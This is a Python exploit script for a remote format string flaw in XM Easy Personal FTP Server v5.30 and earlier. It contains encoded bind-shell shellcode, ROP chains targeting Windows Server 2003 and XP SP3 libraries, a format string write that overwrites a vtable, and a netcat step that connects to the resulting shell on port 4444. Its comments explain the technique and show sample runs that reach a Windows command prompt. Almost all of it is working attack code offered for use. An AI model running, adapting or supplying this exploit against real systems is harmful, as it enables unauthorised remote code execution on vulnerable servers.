#!/usr/bin/python # XM Easy Personal FTP Server v <= 5.30 Remote Format String write4 Exploit # exploit by: mr_me (@net__ninja/mr_me[at]corelan.be) # Thanks to the Corelan Security Team # Note: this is a poc only, and requires the following target environment: # Windows Server 23k: # - msvcrt.dll v7.0.3790.3959 # - ntdll.dll v5.2.3790.4937 # # ..or # # Windows XP SP3: # - msvcrt.dll v7.0.2600.5512 # - ntdll.dll v5.1.2600.6055 # # Fully tested against these environments. # # An additional offset for the allocated chunk (0x00AEFAB9) under Windows XP SP3 # (ntdll.dll vv5.1.2600.5512 (xpsp.080413-2111)) are: # # if auth_required == 1: # sploit += "%11467127x" # lookaside chunk address 0x00AEFAB9 # elif auth_required == 2: # sploit += "%11467133x" # lookaside chunk address 0x00AEFAB9 # # Thanks to @_bcoles for the additional testing and target. # # Well, after 6 years of DoS, 2 DoS metasploit modules later, I thought it would be a good # time for some unreliable RCE: # # - http://www.exploit-db.com/search/?action=search&filter_description=XM+Easy+Personal # - http://www.metasploit.com/modules/framework/search?utf8=%E2%9C%93&osvdb=&bid=&text=XM+Easy&cve=&msb= # # How is the exploit working? Voodoo? ...no # # Basically at crash time I could only find our string at [esp-0xYYYYYYYY] and as such # couldn't use our string to overwrite an arbitrary function pointer. But when I looked # closer at the esp, I noticed that at esp+0x7c an object is stored. So what I did was # use the %n to overwrite the objects vtable with a controlled value (str length + %YYx # to pad out the arbitrary fake vtable). During the application authentication routine, # it will allocate the strings we send as USER/PASS from a heap and then free them to # the lookaside (as long as the string length is < 1016 bytes in size). # # Because this address is relative and has a static base in this environment, I was able # to use the heap chunk address as the pointer to write at the vtable. Then a function is # called at offset 0xb0 or 0x98 and we can reliably return into a ROP payload and execute # arbitrary code. # # Enjoy the shells guys # ~ mr_me # # example exploitation against XP: # # mr_me@gliese:~/pentest/research/targets/xm$ ./xm_pwnage.py 192.168.153.160 # ------------------------------------------------------------------------- # XM Easy Personal FTP Server <= v5.30 Remote Format String Write4 Exploit # Written by mr_me (@net__ninja) # ------------------------------------------------------------------------- # # (+) Choose your target: # 1. Windows Server 2003 EN # 2. Windows XP SP3 EN # --> 2 # (+) Choose your option: # 1. use no authentication (anonymous is disabled) # 2. use authentication (anonymous is enabled) # --> 1 # (+) Connecting to the target 192.168.153.160:21 # (+) Seeding payload... # (+) Triggering write4.... # (+) Connecting to the targets shell! # Connection to 192.168.153.160 4444 port [tcp/*] succeeded! # Microsoft Windows XP [Version 5.1.2600] # (C) Copyright 1985-2001 Microsoft Corp. # # C:\Documents and Settings\steve> # # example exploitation against Windows Server 23k: # # mr_me@gliese:~/pentest/research/targets/xm$ ./poc_working.py 192.168.153.159 # ------------------------------------------------------------------------- # XM Easy Personal FTP Server <= v5.30 Remote Format String Write4 Exploit # Written by mr_me (@net__ninja) # ------------------------------------------------------------------------- # # (+) Choose your target: # 1. Windows Server 2003 EN # 2. Windows XP SP3 EN # --> 1 # (+) Choose your option: # 1. use no authentication (anonymous is disabled) # 2. use authentication (anonymous is enabled) # --> 2 # (+) Connecting to the target 192.168.153.159:21 # (+) Seeding payload... # (+) Triggering write4.... # (+) Connecting to the targets shell! # Connection to 192.168.153.159 4444 port [tcp/*] succeeded! # Microsoft Windows [Version 5.2.3790] # (C) Copyright 1985-2003 Microsoft Corp. # # C:\Documents and Settings\Administrator\Desktop> # import socket import struct import sys from os import system from time import sleep host = '' port = 21 # ./msfpayload windows/shell_bind_tcp exitfunc=seh R | # ./msfencode -b "\x00\x0a\x0d" -e x86/jmp_call_additive -t c # [*] x86/jmp_call_additive succeeded with size 373 (iteration=1 sc = ("\xfc\xbb\x70\x4e\xf9\xb6\xeb\x0c\x5e\x56\x31\x1e\xad\x01\xc3" "\x85\xc0\x75\xf7\xc3\xe8\xef\xff\xff\xff\x8c\xa6\x70\xb6\x6c" "\x37\xe3\x3e\x89\x06\x31\x24\xda\x3b\x85\x2e\x8e\xb7\x6e\x62" "\x3a\x43\x02\xab\x4d\xe4\xa9\x8d\x60\xf5\x1f\x12\x2e\x35\x01" "\xee\x2c\x6a\xe1\xcf\xff\x7f\xe0\x08\x1d\x8f\xb0\xc1\x6a\x22" "\x25\x65\x2e\xff\x44\xa9\x25\xbf\x3e\xcc\xf9\x34\xf5\xcf\x29" "\xe4\x82\x98\xd1\x8e\xcd\x38\xe0\x43\x0e\x04\xab\xe8\xe5\xfe" "\x2a\x39\x34\xfe\x1d\x05\x9b\xc1\x92\x88\xe5\x06\x14\x73\x90" "\x7c\x67\x0e\xa3\x46\x1a\xd4\x26\x5b\xbc\x9f\x91\xbf\x3d\x73" "\x47\x4b\x31\x38\x03\x13\x55\xbf\xc0\x2f\x61\x34\xe7\xff\xe0" "\x0e\xcc\xdb\xa9\xd5\x6d\x7d\x17\xbb\x92\x9d\xff\x64\x37\xd5" "\xed\x71\x41\xb4\x79\xb5\x7c\x47\x79\xd1\xf7\x34\x4b\x7e\xac" "\xd2\xe7\xf7\x6a\x24\x08\x22\xca\xba\xf7\xcd\x2b\x92\x33\x99" "\x7b\x8c\x92\xa2\x17\x4c\x1b\x77\xb7\x1c\xb3\x28\x78\xcd\x73" "\x99\x10\x07\x7c\xc6\x01\x28\x57\x71\x06\xe6\x8c\xd1\xe1\x0b" "\x32\xc7\xad\x82\xd4\x8d\x5d\xc3\x4f\x3a\x9c\x30\x58\xdd\xdf" "\x12\xf5\x76\x48\x2a\x10\x40\x77\xab\x37\xe2\xd4\x03\xdf\x71" "\x37\x90\xfe\x85\x12\xb0\x89\xbd\xf5\x4a\xe7\x0c\x67\x4a\x22" "\xe6\x04\xd9\xa8\xf7\x43\xc2\x67\xaf\x04\x34\x71\x25\xb9\x6f" "\x2b\x58\x40\xe9\x14\xd8\x9f\xca\x9b\xe0\x52\x76\xbf\xf2\xaa" "\x77\xfb\xa6\x62\x2e\x55\x11\xc5\x98\x17\xcb\x9f\x77\xf1\x9b" "\x66\xb4\xc2\xdd\x66\x91\xb5\x02\xd6\x4c\x83\x3d\xd7\x18\x03" "\x45\x05\xb9\xec\x9c\x8d\xc7\x1c\x2d\x18\x5f\x86\xc4\x61\x3d" "\x39\x33\xa5\x38\xb9\xb6\x56\xbf\xa1\xb2\x53\xfb\x66\x2e\x2e" "\x94\x02\x50\x9d\x95\x07\x50\x21\x6a\xa7\x51\x21\x6a") def banner(): print "-------------------------------------------------------------------------" print " XM Easy Personal FTP Server <= v5.30 Remote Format String Write4 Exploit" print " Written by mr_me (@net__ninja) " print "-------------------------------------------------------------------------\n" if (len(sys.argv) < 2): banner() print "Usage: %s <target_ip> [port]" %(sys.argv[0]) sys.exit(1) if (len(sys.argv) == 3): port = int(sys.argv[2]) host = sys.argv[1] banner() print("(+) Choose your target:") print(" 1. Windows Server 2003 EN") print(" 2. Windows XP SP3 EN") try: target = int(raw_input("--> ")) except: print("Exiting..") sys.exit(0) if target not in [1,2]: print("(-) Invalid target!") sys.exit(0) print("(+) Choose your option:") print(" 1. use no authentication (anonymous is disabled)") print(" 2. use authentication (anonymous is enabled)") try: auth_required = int(raw_input("--> ")) except: print("Exiting..") sys.exit(0) if auth_required not in [1,2]: print("(-) Invalid option!") sys.exit(0) # start building the attack string sploit = "ABOR " # rop - Windows Server 23k if target == 1: # C:\WINDOWS\system32\msvcrt.dll v7.0.3790.3959 rop = struct.pack('<L', 0x77be3adb) # pop eax ; retn rop += struct.pack('<L', 0x77ba1114) # <- *&VirtualProtect() rop += struct.pack('<L', 0x77bbf244) # mov eax,[eax] ; pop ebp ; retn rop += struct.pack('<L', 0x41414141) # junk ------------^ rop += struct.pack('<L', 0x77bb0c86) # xchg eax,esi ; retn rop += struct.pack('<L', 0x77be3adb) # pop eax ; retn rop += struct.pack('<L', 0xFFFFFBFF) # dwSize rop += struct.pack('<L', 0x77BAD64D) # neg eax ; pop ebp ; retn rop += struct.pack('<L', 0x41414141) # junk ------^ rop += struct.pack('<L', 0x77BBF102) # xchg eax,ebx ; add [eax],al ; retn rop += struct.pack('<L', 0x77bbfc02) # pop ecx ; retn rop += struct.pack('<L', 0x77bef001) # ptr that is w+ rop += struct.pack('<L', 0x77bd8c04) # pop edi ; retn rop += struct.pack('<L', 0x77bd8c05) # retn rop += struct.pack('<L', 0x77be3adb) # pop eax ; retn rop += struct.pack('<L', 0xFFFFFFC0) # flNewProtect rop += struct.pack('<L', 0x77BAD64D) # neg eax ; pop ebp ; retn rop += struct.pack('<L', 0x77be2265) # ptr to 'push esp ; ret' rop += struct.pack('<L', 0x77BB8285) # xchg eax,edx ; retn rop += struct.pack('<L', 0x77be3adb) # pop eax ; retn rop += struct.pack('<L', 0x90909090) # nops rop += struct.pack('<L', 0x77be6591) # pushad ; add al,0ef ; retn if auth_required == 1: sploit += "%12133031x" # lookaside chunk address #11204415 elif auth_required == 2: sploit += "%12133037x" # lookaside chunk address pivot = "\x35\x62\xba\x77" # 0x77BA6235 - xchg eax,esp; retn jump = "\xeb\x56" # jump forward into our shellcode # rop - Windows XP SP3 elif target == 2: # C:\WINDOWS\system32\msvcrt.dll v7.0.2600.5512 rop = struct.pack('<L', 0x77C21D16) # pop eax ; retn rop += struct.pack('<L', 0x77C11120) # <- *&VirtualProtect() rop += struct.pack('<L', 0x77C2E493) # mov eax,[eax] ; pop ebp ; retn rop += struct.pack('<L', 0x41414141) # junk ------------^ rop += struct.pack('<L', 0x77C21891) # pop esi ; retn rop += struct.pack('<L', 0x77C5D010) # ptr that is w+ rop += struct.pack('<L', 0x77C2DD6C) # xchg eax,esi ; add [eax],al; retn rop += struct.pack('<L', 0x77C21D16) # pop eax ; retn rop += struct.pack('<L', 0xFFFFFBFF) # dwSize rop += struct.pack('<L', 0x77C1BE18) # neg eax ; pop ebp ; retn rop += struct.pack('<L', 0x41414141) # junk ------^ rop += struct.pack('<L', 0x77C2362C) # pop ebx ; retn rop += struct.pack('<L', 0x77C5D010) # ptr that is w+ rop += struct.pack('<L', 0x77C2E071) # xchg eax,ebx ; add [eax],al ; retn rop += struct.pack('<L', 0x77C1F519) # pop ecx ; retn rop += struct.pack('<L', 0x77C5D010) # ptr that is w+ rop += struct.pack('<L', 0x77C23B47) # pop edi ; retn rop += struct.pack('<L', 0x77C23B48) # retn rop += struct.pack('<L', 0x77C21D16) # pop eax ; retn rop += struct.pack('<L', 0xFFFFFFC0) # flNewProtect rop += struct.pack('<L', 0x77C1BE18) # neg eax ; pop ebp ; retn rop += struct.pack('<L', 0x77C35459) # ptr to 'push esp ; ret' rop += struct.pack('<L', 0x77C58FBC) # xchg eax,edx ; retn rop += struct.pack('<L', 0x77C21D16) # pop eax ; retn rop += struct.pack('<L', 0x90909090) # nops rop += struct.pack('<L', 0x77C567F0) # pushad ; add al,0ef ; retn if auth_required == 1: sploit += "%11204415x" # lookaside chunk address elif auth_required == 2: sploit += "%11204421x" # lookaside chunk address pivot = "\xd5\x5e\xc1\x77" # 0x77C15ED5 - xchg eax,esp; retn jump = "\xeb\x4a" # jump forward into our shellcode sploit += "%p" * 31 # offset to the object on the stack sploit += "%n" * 1 # write the controlled value into the vtable sploit += "\x45" * 4500 username = "USER anonymous\r\n" password = "PASS anonymous@" password += rop password += jump password += "\x62" * (0x96-len(rop)) password += pivot # vtable+0x98 function password += "\x62" * 0x14 password += pivot # vtable+0xb0 function password += sc password += "\x62" * (0x398-len(password)) password += ".com\r\n" try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print "(+) Connecting to the target %s:%d" % (host, port) s.connect((host,port)) except: print("(-) Cannot connect to the target %s:%s" % (host, port)) sys.exit(0) try: print "(+) Seeding payload..." s.recv(1024) s.send(username) s.recv(1024) s.send(password) s.recv(1024) print "(+) Triggering write4..." s.send(sploit) s.recv(1024) s.close() except: print "(-) Failed to trigger the vulnerability...!" sys.exit(0) print "(+) Connecting to the targets shell!" try: sleep(1) system("nc -v %s 4444" % host) except: print("(-) Exploit failed! check if the target service is up") sys.exit(0)